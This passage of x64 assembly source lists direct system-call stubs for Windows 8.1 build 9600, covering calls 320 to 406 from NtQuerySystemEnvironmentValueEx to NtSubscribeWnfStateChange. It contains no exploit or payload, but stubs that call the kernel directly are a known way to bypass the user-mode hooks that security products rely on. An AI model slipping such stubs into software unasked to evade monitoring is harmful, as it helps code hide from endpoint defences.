_6_3_9600_sp0_windows_8_1_NtQuerySystemEnvironmentValueEx PROC STDCALL
mov r10 , rcx
mov eax , 320
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySystemEnvironmentValueEx ENDP
; ULONG64 __stdcall NtQuerySystemInformationEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtQuerySystemInformationEx PROC STDCALL
mov r10 , rcx
mov eax , 321
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySystemInformationEx ENDP
; ULONG64 __stdcall NtQueryTimerResolution( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtQueryTimerResolution PROC STDCALL
mov r10 , rcx
mov eax , 322
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryTimerResolution ENDP
; ULONG64 __stdcall NtQueryWnfStateData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtQueryWnfStateData PROC STDCALL
mov r10 , rcx
mov eax , 323
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryWnfStateData ENDP
; ULONG64 __stdcall NtQueryWnfStateNameInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryWnfStateNameInformation PROC STDCALL
mov r10 , rcx
mov eax , 324
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryWnfStateNameInformation ENDP
; ULONG64 __stdcall NtQueueApcThreadEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtQueueApcThreadEx PROC STDCALL
mov r10 , rcx
mov eax , 325
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueueApcThreadEx ENDP
; ULONG64 __stdcall NtRaiseException( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtRaiseException PROC STDCALL
mov r10 , rcx
mov eax , 326
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRaiseException ENDP
; ULONG64 __stdcall NtRaiseHardError( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtRaiseHardError PROC STDCALL
mov r10 , rcx
mov eax , 327
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRaiseHardError ENDP
; ULONG64 __stdcall NtReadOnlyEnlistment( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtReadOnlyEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 328
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReadOnlyEnlistment ENDP
; ULONG64 __stdcall NtRecoverEnlistment( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRecoverEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 329
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRecoverEnlistment ENDP
; ULONG64 __stdcall NtRecoverResourceManager( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtRecoverResourceManager PROC STDCALL
mov r10 , rcx
mov eax , 330
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRecoverResourceManager ENDP
; ULONG64 __stdcall NtRecoverTransactionManager( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtRecoverTransactionManager PROC STDCALL
mov r10 , rcx
mov eax , 331
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRecoverTransactionManager ENDP
; ULONG64 __stdcall NtRegisterProtocolAddressInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtRegisterProtocolAddressInformation PROC STDCALL
mov r10 , rcx
mov eax , 332
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRegisterProtocolAddressInformation ENDP
; ULONG64 __stdcall NtRegisterThreadTerminatePort( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtRegisterThreadTerminatePort PROC STDCALL
mov r10 , rcx
mov eax , 333
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRegisterThreadTerminatePort ENDP
; ULONG64 __stdcall NtReleaseKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtReleaseKeyedEvent PROC STDCALL
mov r10 , rcx
mov eax , 334
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReleaseKeyedEvent ENDP
; ULONG64 __stdcall NtReleaseWorkerFactoryWorker( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtReleaseWorkerFactoryWorker PROC STDCALL
mov r10 , rcx
mov eax , 335
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReleaseWorkerFactoryWorker ENDP
; ULONG64 __stdcall NtRemoveIoCompletionEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtRemoveIoCompletionEx PROC STDCALL
mov r10 , rcx
mov eax , 336
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRemoveIoCompletionEx ENDP
; ULONG64 __stdcall NtRemoveProcessDebug( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRemoveProcessDebug PROC STDCALL
mov r10 , rcx
mov eax , 337
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRemoveProcessDebug ENDP
; ULONG64 __stdcall NtRenameKey( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRenameKey PROC STDCALL
mov r10 , rcx
mov eax , 338
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRenameKey ENDP
; ULONG64 __stdcall NtRenameTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRenameTransactionManager PROC STDCALL
mov r10 , rcx
mov eax , 339
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRenameTransactionManager ENDP
; ULONG64 __stdcall NtReplaceKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtReplaceKey PROC STDCALL
mov r10 , rcx
mov eax , 340
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReplaceKey ENDP
; ULONG64 __stdcall NtReplacePartitionUnit( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtReplacePartitionUnit PROC STDCALL
mov r10 , rcx
mov eax , 341
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReplacePartitionUnit ENDP
; ULONG64 __stdcall NtReplyWaitReplyPort( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtReplyWaitReplyPort PROC STDCALL
mov r10 , rcx
mov eax , 342
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReplyWaitReplyPort ENDP
; ULONG64 __stdcall NtRequestPort( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRequestPort PROC STDCALL
mov r10 , rcx
mov eax , 343
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRequestPort ENDP
; ULONG64 __stdcall NtResetEvent( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtResetEvent PROC STDCALL
mov r10 , rcx
mov eax , 344
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtResetEvent ENDP
; ULONG64 __stdcall NtResetWriteWatch( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtResetWriteWatch PROC STDCALL
mov r10 , rcx
mov eax , 345
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtResetWriteWatch ENDP
; ULONG64 __stdcall NtRestoreKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtRestoreKey PROC STDCALL
mov r10 , rcx
mov eax , 346
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRestoreKey ENDP
; ULONG64 __stdcall NtResumeProcess( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtResumeProcess PROC STDCALL
mov r10 , rcx
mov eax , 347
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtResumeProcess ENDP
; ULONG64 __stdcall NtRollbackComplete( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRollbackComplete PROC STDCALL
mov r10 , rcx
mov eax , 348
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRollbackComplete ENDP
; ULONG64 __stdcall NtRollbackEnlistment( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRollbackEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 349
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRollbackEnlistment ENDP
; ULONG64 __stdcall NtRollbackTransaction( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRollbackTransaction PROC STDCALL
mov r10 , rcx
mov eax , 350
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRollbackTransaction ENDP
; ULONG64 __stdcall NtRollforwardTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRollforwardTransactionManager PROC STDCALL
mov r10 , rcx
mov eax , 351
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRollforwardTransactionManager ENDP
; ULONG64 __stdcall NtSaveKey( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSaveKey PROC STDCALL
mov r10 , rcx
mov eax , 352
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSaveKey ENDP
; ULONG64 __stdcall NtSaveKeyEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtSaveKeyEx PROC STDCALL
mov r10 , rcx
mov eax , 353
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSaveKeyEx ENDP
; ULONG64 __stdcall NtSaveMergedKeys( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtSaveMergedKeys PROC STDCALL
mov r10 , rcx
mov eax , 354
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSaveMergedKeys ENDP
; ULONG64 __stdcall NtSecureConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtSecureConnectPort PROC STDCALL
mov r10 , rcx
mov eax , 355
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSecureConnectPort ENDP
; ULONG64 __stdcall NtSerializeBoot( );
_6_3_9600_sp0_windows_8_1_NtSerializeBoot PROC STDCALL
mov r10 , rcx
mov eax , 356
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSerializeBoot ENDP
; ULONG64 __stdcall NtSetBootEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetBootEntryOrder PROC STDCALL
mov r10 , rcx
mov eax , 357
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetBootEntryOrder ENDP
; ULONG64 __stdcall NtSetBootOptions( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetBootOptions PROC STDCALL
mov r10 , rcx
mov eax , 358
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetBootOptions ENDP
; ULONG64 __stdcall NtSetCachedSigningLevel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtSetCachedSigningLevel PROC STDCALL
mov r10 , rcx
mov eax , 359
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetCachedSigningLevel ENDP
; ULONG64 __stdcall NtSetContextThread( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetContextThread PROC STDCALL
mov r10 , rcx
mov eax , 360
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetContextThread ENDP
; ULONG64 __stdcall NtSetDebugFilterState( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtSetDebugFilterState PROC STDCALL
mov r10 , rcx
mov eax , 361
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetDebugFilterState ENDP
; ULONG64 __stdcall NtSetDefaultHardErrorPort( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetDefaultHardErrorPort PROC STDCALL
mov r10 , rcx
mov eax , 362
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetDefaultHardErrorPort ENDP
; ULONG64 __stdcall NtSetDefaultLocale( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetDefaultLocale PROC STDCALL
mov r10 , rcx
mov eax , 363
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetDefaultLocale ENDP
; ULONG64 __stdcall NtSetDefaultUILanguage( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetDefaultUILanguage PROC STDCALL
mov r10 , rcx
mov eax , 364
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetDefaultUILanguage ENDP
; ULONG64 __stdcall NtSetDriverEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetDriverEntryOrder PROC STDCALL
mov r10 , rcx
mov eax , 365
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetDriverEntryOrder ENDP
; ULONG64 __stdcall NtSetEaFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetEaFile PROC STDCALL
mov r10 , rcx
mov eax , 366
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetEaFile ENDP
; ULONG64 __stdcall NtSetHighEventPair( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetHighEventPair PROC STDCALL
mov r10 , rcx
mov eax , 367
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetHighEventPair ENDP
; ULONG64 __stdcall NtSetHighWaitLowEventPair( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetHighWaitLowEventPair PROC STDCALL
mov r10 , rcx
mov eax , 368
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetHighWaitLowEventPair ENDP
; ULONG64 __stdcall NtSetIRTimer( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetIRTimer PROC STDCALL
mov r10 , rcx
mov eax , 369
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetIRTimer ENDP
; ULONG64 __stdcall NtSetInformationDebugObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtSetInformationDebugObject PROC STDCALL
mov r10 , rcx
mov eax , 370
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationDebugObject ENDP
; ULONG64 __stdcall NtSetInformationEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 371
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationEnlistment ENDP
; ULONG64 __stdcall NtSetInformationJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationJobObject PROC STDCALL
mov r10 , rcx
mov eax , 372
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationJobObject ENDP
; ULONG64 __stdcall NtSetInformationKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationKey PROC STDCALL
mov r10 , rcx
mov eax , 373
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationKey ENDP
; ULONG64 __stdcall NtSetInformationResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationResourceManager PROC STDCALL
mov r10 , rcx
mov eax , 374
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationResourceManager ENDP
; ULONG64 __stdcall NtSetInformationToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationToken PROC STDCALL
mov r10 , rcx
mov eax , 375
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationToken ENDP
; ULONG64 __stdcall NtSetInformationTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationTransaction PROC STDCALL
mov r10 , rcx
mov eax , 376
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationTransaction ENDP
; ULONG64 __stdcall NtSetInformationTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationTransactionManager PROC STDCALL
mov r10 , rcx
mov eax , 377
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationTransactionManager ENDP
; ULONG64 __stdcall NtSetInformationVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtSetInformationVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 378
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationVirtualMemory ENDP
; ULONG64 __stdcall NtSetInformationWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationWorkerFactory PROC STDCALL
mov r10 , rcx
mov eax , 379
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationWorkerFactory ENDP
; ULONG64 __stdcall NtSetIntervalProfile( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetIntervalProfile PROC STDCALL
mov r10 , rcx
mov eax , 380
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetIntervalProfile ENDP
; ULONG64 __stdcall NtSetIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtSetIoCompletion PROC STDCALL
mov r10 , rcx
mov eax , 381
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetIoCompletion ENDP
; ULONG64 __stdcall NtSetIoCompletionEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtSetIoCompletionEx PROC STDCALL
mov r10 , rcx
mov eax , 382
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetIoCompletionEx ENDP
; ULONG64 __stdcall NtSetLdtEntries( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtSetLdtEntries PROC STDCALL
mov r10 , rcx
mov eax , 383
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetLdtEntries ENDP
; ULONG64 __stdcall NtSetLowEventPair( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetLowEventPair PROC STDCALL
mov r10 , rcx
mov eax , 384
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetLowEventPair ENDP
; ULONG64 __stdcall NtSetLowWaitHighEventPair( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetLowWaitHighEventPair PROC STDCALL
mov r10 , rcx
mov eax , 385
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetLowWaitHighEventPair ENDP
; ULONG64 __stdcall NtSetQuotaInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetQuotaInformationFile PROC STDCALL
mov r10 , rcx
mov eax , 386
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetQuotaInformationFile ENDP
; ULONG64 __stdcall NtSetSecurityObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtSetSecurityObject PROC STDCALL
mov r10 , rcx
mov eax , 387
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetSecurityObject ENDP
; ULONG64 __stdcall NtSetSystemEnvironmentValue( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetSystemEnvironmentValue PROC STDCALL
mov r10 , rcx
mov eax , 388
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetSystemEnvironmentValue ENDP
; ULONG64 __stdcall NtSetSystemEnvironmentValueEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtSetSystemEnvironmentValueEx PROC STDCALL
mov r10 , rcx
mov eax , 389
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetSystemEnvironmentValueEx ENDP
; ULONG64 __stdcall NtSetSystemInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtSetSystemInformation PROC STDCALL
mov r10 , rcx
mov eax , 390
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetSystemInformation ENDP
; ULONG64 __stdcall NtSetSystemPowerState( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtSetSystemPowerState PROC STDCALL
mov r10 , rcx
mov eax , 391
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetSystemPowerState ENDP
; ULONG64 __stdcall NtSetSystemTime( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetSystemTime PROC STDCALL
mov r10 , rcx
mov eax , 392
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetSystemTime ENDP
; ULONG64 __stdcall NtSetThreadExecutionState( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetThreadExecutionState PROC STDCALL
mov r10 , rcx
mov eax , 393
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetThreadExecutionState ENDP
; ULONG64 __stdcall NtSetTimer2( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetTimer2 PROC STDCALL
mov r10 , rcx
mov eax , 394
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetTimer2 ENDP
; ULONG64 __stdcall NtSetTimerEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetTimerEx PROC STDCALL
mov r10 , rcx
mov eax , 395
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetTimerEx ENDP
; ULONG64 __stdcall NtSetTimerResolution( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtSetTimerResolution PROC STDCALL
mov r10 , rcx
mov eax , 396
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetTimerResolution ENDP
; ULONG64 __stdcall NtSetUuidSeed( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetUuidSeed PROC STDCALL
mov r10 , rcx
mov eax , 397
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetUuidSeed ENDP
; ULONG64 __stdcall NtSetVolumeInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtSetVolumeInformationFile PROC STDCALL
mov r10 , rcx
mov eax , 398
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetVolumeInformationFile ENDP
; ULONG64 __stdcall NtSetWnfProcessNotificationEvent( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetWnfProcessNotificationEvent PROC STDCALL
mov r10 , rcx
mov eax , 399
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetWnfProcessNotificationEvent ENDP
; ULONG64 __stdcall NtShutdownSystem( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtShutdownSystem PROC STDCALL
mov r10 , rcx
mov eax , 400
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtShutdownSystem ENDP
; ULONG64 __stdcall NtShutdownWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtShutdownWorkerFactory PROC STDCALL
mov r10 , rcx
mov eax , 401
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtShutdownWorkerFactory ENDP
; ULONG64 __stdcall NtSignalAndWaitForSingleObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSignalAndWaitForSingleObject PROC STDCALL
mov r10 , rcx
mov eax , 402
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSignalAndWaitForSingleObject ENDP
; ULONG64 __stdcall NtSinglePhaseReject( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSinglePhaseReject PROC STDCALL
mov r10 , rcx
mov eax , 403
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSinglePhaseReject ENDP
; ULONG64 __stdcall NtStartProfile( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtStartProfile PROC STDCALL
mov r10 , rcx
mov eax , 404
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtStartProfile ENDP
; ULONG64 __stdcall NtStopProfile( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtStopProfile PROC STDCALL
mov r10 , rcx
mov eax , 405
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtStopProfile ENDP
; ULONG64 __stdcall NtSubscribeWnfStateChange( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSubscribeWnfStateChange PROC STDCALL
mov r10 , rcx
mov eax , 406
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSubscribeWnfStateChange ENDP
